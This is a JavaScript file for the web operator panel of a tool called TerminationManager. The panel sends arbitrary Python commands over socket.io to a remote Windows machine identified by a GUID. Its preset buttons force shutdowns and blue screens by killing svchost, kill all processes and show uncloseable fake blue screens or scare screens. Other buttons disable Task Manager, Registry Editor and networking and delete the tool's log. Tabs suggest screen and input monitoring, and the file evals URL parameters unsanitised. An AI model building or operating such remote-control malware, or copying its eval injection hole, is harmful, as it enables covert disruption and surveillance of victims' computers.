Files
SMANAGE/TempLate/TerminationManager/lib/js/script.js
T
2026-06-16 11:55:14 +08:00

464 lines
18 KiB
JavaScript

URLARGS = new URLSearchParams(window.location.search);
for (const [key, value] of URLARGS) {
eval(`window.${key} = '${value}';console.log(window.${key});`);
}
const ModeButton = document.querySelectorAll('[data-tab]');
ModeButton.forEach(button => {
button.addEventListener('click', () => {
ModeButton.forEach(btn => {
btn.classList.remove('tab-active');
btn.classList.add('border-transparent', 'text-gray-400');
});
button.classList.add('tab-active');
button.classList.remove('border-transparent', 'text-gray-400');
});
});
function GMB() {
const ModeButton = document.querySelector('[data-tab].tab-active');
return ModeButton ? ModeButton.getAttribute('data-tab') : window.mode;
}
window.mode="Python";
socket = io("/Termination4ConsoleSpace");
// connect 事件
socket.on("connect", (message) => {
socket.emit("TJoin", {"PCMachineGUID": window.PCMachineGUID});
});
window.socket = socket;
// Console API
const ConsoleAPI = {
print: function(text, options = {}) {
const consoleOutput = document.getElementById('console-output');
const SPACE_WIDTH = 4;
const TAB_WIDTH = 20;
const lines = text.split('\n');
lines.forEach(line => {
const lineContainer = document.createElement('div');
lineContainer.className = 'terminal-line-container';
lineContainer.style.display = 'flex';
lineContainer.style.alignItems = 'flex-start';
let indentWidth = 0;
let contentStart = 0;
while (contentStart < line.length) {
const char = line[contentStart];
if (char === ' ') {
indentWidth += SPACE_WIDTH;
contentStart++;
} else if (char === '\t') {
indentWidth += TAB_WIDTH;
contentStart++;
} else {
break;
}
}
const indentDiv = document.createElement('div');
indentDiv.className = 'terminal-indent';
indentDiv.style.width = `${indentWidth}px`;
// indentDiv.style.backgroundColor = 'rgba(255,0,0,0.1)';
lineContainer.appendChild(indentDiv);
const contentDiv = document.createElement('div');
contentDiv.className = options.isCommand ? 'terminal-line' : 'terminal-content';
contentDiv.textContent = line.substring(contentStart);
lineContainer.appendChild(contentDiv);
consoleOutput.appendChild(lineContainer);
});
this.scrollToBottom();
},
error: function(errorJson) {
const consoleOutput = document.getElementById('console-output');
// 创建错误容器
const errorContainer = document.createElement('div');
errorContainer.className = 'python-error-container mb-3 ml-4';
// 2. 渲染调用栈
errorJson.TracebackFrames.forEach(frame => {
const traceLine = document.createElement('div');
traceLine.className = 'mb-1 text-terminal-warning';
traceLine.textContent = `File "${frame.FilePath}", Line ${frame.LineNumber}, In ${frame.FunctionName}:`;
errorContainer.appendChild(traceLine);
const codeContainer = document.createElement('div');
codeContainer.className = 'ml-4 mb-2';
const codeLine = document.createElement('div');
codeLine.className = 'text-terminal-text';
codeLine.textContent = frame.CodeLine;
const errorIndicator = document.createElement('div');
errorIndicator.className = 'text-terminal-error font-bold';
errorIndicator.textContent = '^';
errorIndicator.style.marginLeft = `${this.calculateIndent(frame.CodeLine)}ch`;
codeContainer.appendChild(codeLine);
codeContainer.appendChild(errorIndicator);
errorContainer.appendChild(codeContainer);
});
const errorHeader = document.createElement('div');
errorHeader.className = 'mb-2';
const ErrorTypeSpan = document.createElement('span');
ErrorTypeSpan.className = 'text-terminal-error font-bold';
ErrorTypeSpan.textContent = `${errorJson.ErrorType}: `;
const ErrorMessageSpan = document.createElement('span');
ErrorMessageSpan.className = 'text-terminal-error';
ErrorMessageSpan.textContent = errorJson.ErrorMessage;
errorHeader.appendChild(ErrorTypeSpan);
errorHeader.appendChild(ErrorMessageSpan);
errorContainer.appendChild(errorHeader);
const showDetails = document.createElement('div');
showDetails.className = 'text-terminal-info mt-1 cursor-pointer hover:underline';
showDetails.innerHTML = '<i class="fa fa-chevron-down mr-1"></i> Show error details';
errorContainer.appendChild(showDetails);
// 文件内容
const fileContentDiv = document.createElement('div');
fileContentDiv.className = 'mb-4';
const fileHeader = document.createElement('div');
fileHeader.className = 'text-terminal-accent mb-2';
fileHeader.innerHTML = `<i class="fa fa-file-code-o mr-1"></i> File: ${errorJson.FilePath}`;
fileContentDiv.appendChild(fileHeader);
const fileContentPre = document.createElement('pre');
fileContentPre.className = 'text-sm overflow-x-auto';
/* errorJson.fileContent
["1", "2", "3"].forEach((line, index) => {
const lineNumber = index + 1;
const lineDiv = document.createElement('div');
lineDiv.className = lineNumber === errorJson.lineNumber ? 'line-highlight pl-1' : '';
const lineNumSpan = document.createElement('span');
lineNumSpan.className = 'text-gray-500 mr-3 inline-block w-8 text-right';
lineNumSpan.textContent = lineNumber;
const codeSpan = document.createElement('span');
codeSpan.textContent = line;
lineDiv.appendChild(lineNumSpan);
lineDiv.appendChild(codeSpan);
fileContentPre.appendChild(lineDiv);
});
fileContentDiv.appendChild(fileContentPre);*/
const detailsContainer = document.createElement('div');
detailsContainer.className = 'mt-2 hidden python-error-details bg-black/30 p-3 rounded border border-gray-700';
detailsContainer.appendChild(fileContentDiv);
const contextDiv = document.createElement('div');
contextDiv.className = 'mb-4';
const contextHeader = document.createElement('div');
contextHeader.className = 'text-terminal-accent mb-2';
contextHeader.innerHTML = `<i class="fa fa-info-circle mr-1"></i> Error Context`;
contextDiv.appendChild(contextHeader);
detailsContainer.appendChild(contextDiv);
errorContainer.appendChild(detailsContainer);
// 绑定详情展开/折叠事件
showDetails.addEventListener('click', () => {
detailsContainer.classList.toggle('hidden');
if (detailsContainer.classList.contains('hidden')) {
showDetails.innerHTML = '<i class="fa fa-chevron-down mr-1"></i> Show error details';
} else {
showDetails.innerHTML = '<i class="fa fa-chevron-up mr-1"></i> Hide error details';
}
this.scrollToBottom();
});
consoleOutput.appendChild(errorContainer);
this.scrollToBottom();
},
// 辅助方法:计算代码缩进(用于错误指示器定位)
calculateIndent(code) {
let indent = 0;
for (let i = 0; i < code.length; i++) {
if (code[i] === ' ') {
indent++;
} else if (code[i] === '\t') {
indent += 4; // 制表符按4个空格计算
} else {
break;
}
}
return indent;
},
executeCommand: function(command) {
this.print(`$ ${command}`, {
isCommand: true
});
if (command == "cls" || command == "clear") {
document.getElementById('console-output')
.innerHTML = '';
return;
}
socket.emit('T4CMDCommand', {
"PCMachineGUID": PCMachineGUID,
"work": GMB(),
"Command": command
});
},
// 滚动到底部
scrollToBottom: function() {
const consoleOutput = document.getElementById('console-output');
consoleOutput.scrollTop = consoleOutput.scrollHeight;
}
};
// 初始化控制台
document.addEventListener('DOMContentLoaded', function() {
const consoleInput = document.getElementById('console-input');
const executeBtn = document.getElementById('execute-btn');
// 处理控制台输入
consoleInput.addEventListener('keydown', function(e) {
if (e.key === 'Enter') {
const command = this.value.trim();
if (command) {
ConsoleAPI.executeCommand(command);
this.value = '';
}
}
});
socket.on("CMDMessage", (message) => {
console.log(message);
if ("Message" in message) { ConsoleAPI.print(message.Message, {isCommand: true}); }
else if ("Error" in message) { ConsoleAPI.error(message.Error); }
else { ConsoleAPI.print(json.stringify(message)); }
});
// 执行按钮
executeBtn.addEventListener('click', function() {
const command = consoleInput.value.trim();
if (command) {
ConsoleAPI.executeCommand(command);
consoleInput.value = '';
}
});
document.getElementById('terminate-btn')
.addEventListener('click', function() {
socket.emit('T4CMDCommand', {
"PCMachineGUID": PCMachineGUID,
"work": "Python",
"Command": "Termination._exit(0)"
});
});
document.getElementById('restart-btn')
.addEventListener('click', function() {
socket.emit('T4CMDCommand', {
"PCMachineGUID": PCMachineGUID,
"work": "Python",
"Command": "Termination._reboot(0)"
});
});
const overlay = document.getElementById('board-overlay');
const openOverlayBtn = document.getElementById('board-btn');
const buttonContainer = document.getElementById('buttonContainer');
// 使用对象数组数据
const buttonData = [{name: '空输入', value: ''},
{name: '10秒倒计时', value: 'Termination.TLUI.CountDown.FCDUI(10).start()'},
{name: '10分钟倒计时', value: 'Termination.TLUI.CountDown.FCDUI(600).start()'},
{name: '1小时倒计时', value: 'Termination.TLUI.CountDown.FCDUI(3600).start()'},
{name: 'KONGBUUI演示', value: 'Termination.TLUI.KONGBU.ScreenErrorSimulator()'},
{name: '关机', value: 'os.system(\'shutdown /s /t 0\')'},
{name: '重启', value: 'os.system(\'shutdown /r /t 0\')'},
{name: '10分钟后关机', value: 'os.system(\'shutdown /s /t 600\')'},
{name: '10分钟后重启', value: 'os.system(\'shutdown /r /t 600\')'},
{name: '1小时后关机', value: 'os.system(\'shutdown /s /t 3600\')'},
{name: '1小时后重启', value: 'os.system(\'shutdown /r /t 3600\')'},
{name: 'Svchost蓝屏', value: 'os.system(\'taskkill /f /im svchost.exe\')'},
{name: '结束所有进程', value: 'os.system("taskkill /f /fi \\"pid ne 1\\"")'},
{name: 'Wininit蓝屏', value: 'os.system(\'wininit.exe\')'},
{name: 'HA', value: '"Termination.TLUI.OBlue.BlueScreenApp(Termination.Static_TTFile, Termination.Static_WAVFile, None).Run()'},
{name: '假蓝屏', value: 'Termination.TLUI.Blue.BlueScreenApp().Run()'},
{name: '假蓝屏(不可关)', value: 'Termination.TLUI.Blue.BlueScreenApp(False).Run()'},
{name: '禁用任务管理器', value: 'print(Termination.tpll.RegTaskmgrDisable())'},
{name: '启用任务管理器', value: 'print(Termination.tpll.RegTaskmgrEnable())'},
{name: '禁用壁纸', value: 'print(Termination.tpll.RegBgDisable())'},
{name: '启用壁纸', value: 'print(Termination.tpll.RegBgEnable())'},
{name: '禁用注册表编辑器', value: 'print(Termination.tpll.RegEditDisable())'},
{name: '启用注册表编辑器', value: 'print(Termination.tpll.RegEditEnable())'},
{name: '获取当前运行模式', value: 'print(Termination.GetWorkMod())'},
{name: '获取当前服务状态', value: 'print(Termination.tpll.IsService(Termination.__service_name__).status())'},
{name: '获取当前核心结构列表', value: 'print(dir(Termination))'},
{name: '获取当前核心环境列表', value: 'print(globals())'},
{name: '获取是否处于目标工作目录', value: 'print(Termination.PDir.Is_NeedWorkPath())'},
{name: '关闭网络', value: 'print(Termination.tpll.DisableNetwork())'},
{name: '启用网络', value: 'print(Termination.tpll.EnableNetwork())'},
{name: '清除T.log', value: 'os.remove(Termination.__log_path__)'},
{name: '获取T_Lock锁是否锁定', value: 'print(Termination.__lock__.IsSelfLock())'},
{name: '获取T_Lock锁是否有其它锁', value: 'print(Termination.__lock__.IsOtherLock())'},
{name: '锁定T_Lock锁', value: 'print(Termination.__lock__.lock())'},
{name: '解锁T_Lock锁', value: 'print(Termination.__lock__.unlock())'},
{name: '初始化服务', value: 'ABUF=Thread_AutoRun.AutoRunSetup(Termination);Termination.TProcessManager.AddThread(ABUF);ABUF.start()'},
{name: 'ComputerINFO', value: 'print(Termination.TWNT.ComputerINFO)'},
{name: 'msg', value: 'os.system(\'msg * \')'},
{name: 'TWNT缩略图压缩等级调整', value: 'Termination.TWNT.Level=15'},
{name: '进程句柄获取', value: 'Termination.TProcessManager.GetThread(\'Thread-\')'}
];
// 生成按钮
buttonData.forEach(item => {
const btn = document.createElement('button');
btn.className = 'bg-gray-700 hover:bg-blue-600 text-white py-2 px-3 rounded-lg transition-all duration-200 transform hover:scale-105 hover:shadow-lg focus:outline-none focus:ring-2 focus:ring-blue-500 no-o-bg';
btn.textContent = item.name;
btn.dataset.value = item.value;
btn.dataset.name = item.name;
btn.addEventListener('click', function() {
const buttonName = this.dataset.name;
const buttonValue = this.dataset.value;
handleButtonClick(buttonName, buttonValue);
closeOverlay();
});
buttonContainer.appendChild(btn);
});
function openOverlay() {
overlay.classList.remove('hidden');
setTimeout(() => {
overlay.classList.add('opacity-100');
overlay.querySelector('div')
.classList.remove('scale-95');
overlay.querySelector('div')
.classList.add('scale-100');
}, 10);
}
function closeOverlay() {
overlay.classList.remove('opacity-100');
overlay.querySelector('div')
.classList.remove('scale-100');
overlay.querySelector('div')
.classList.add('scale-95');
setTimeout(() => {
overlay.classList.add('hidden');
}, 300);
}
// 修改回调函数,接收name和value两个参数
function handleButtonClick(name, value) {
const inputElement = document.getElementById('console-input');
inputElement.value = value;
console.log(`按钮 ${name} (值: ${value}) 被点击了`);
}
openOverlayBtn.addEventListener('click', openOverlay);
overlay.addEventListener('click', function(e) {
if (e.target === overlay) {
closeOverlay();
}
});
document.addEventListener('keydown', function(e) {
if (e.key === 'Escape' && !overlay.classList.contains('hidden')) {
closeOverlay();
}
});
// 侧边栏切换
const sidebarItems = document.querySelectorAll('.sidebar-item');
sidebarItems.forEach(item => {
item.addEventListener('click', function() {
sidebarItems.forEach(i => i.classList.remove('active'));
this.classList.add('active');
const tabs = ['console', 'thread-tasks', 'process-tasks', 'task-manager', 'scheduled-tasks', 'event-tasks', 'configuration', 'realtimescreen', 'km', 'hiscr', 'system-info', 'operation-log', 'work-station'];
tabs.forEach(tab => {
const tabElement = document.getElementById(`${tab}-tab`);
if (tabElement) {
tabElement.classList.add('hidden');
}
});
// 显示当前内容标签
const tabName = this.getAttribute('data-tab');
const currentTab = document.getElementById(`${tabName}-tab`);
if (currentTab) {
currentTab.classList.remove('hidden');
// 添加淡入动画
currentTab.classList.add('fade-in');
setTimeout(() => {
currentTab.classList.remove('fade-in');
}, 300);
}
});
});
// 文件树项目点击
const fileTreeItems = document.querySelectorAll('.file-tree-item');
fileTreeItems.forEach(item => {
item.addEventListener('click', function() {
// 移除所有活动状态
fileTreeItems.forEach(i => i.classList.remove('active'));
// 添加当前活动状态
this.classList.add('active');
});
});
});
// 等待DOM加载完成
document.addEventListener('DOMContentLoaded', function() {
// 获取所有标签按钮和对应的内容区域
const tabButtons = document.querySelectorAll('[data-tab]');
const tabContents = document.querySelectorAll('#configuration-tab > div:nth-child(3) > div');
// 定义激活标签的函数
window.activateTab = function(tabName) {
// 重置所有标签按钮样式
tabButtons.forEach(button => {
button.classList.remove('border-primary', 'text-white');
button.classList.add('border-transparent', 'text-gray-400', 'hover:text-white');
});
// 隐藏所有内容区域
tabContents.forEach(content => {
content.classList.add('hidden');
});
// 激活目标标签
const activeButton = document.querySelector(`[data-tab="${tabName}"]`);
if (activeButton) {
activeButton.classList.remove('border-transparent', 'text-gray-400');
activeButton.classList.add('border-primary', 'text-white');
}
// 显示目标内容
const activeContent = document.getElementById(tabName);
if (activeContent) {
activeContent.classList.remove('hidden');
}
if (tabName === 'configuration') {
window.activateTab('basic-config');
}
}
// 为所有标签按钮添加点击事件
tabButtons.forEach(button => {
button.addEventListener('click', function() {
const tabName = this.getAttribute('data-tab');
activateTab(tabName);
});
});
setTimeout(() => window.activateTab('basic-config'), 1000);
});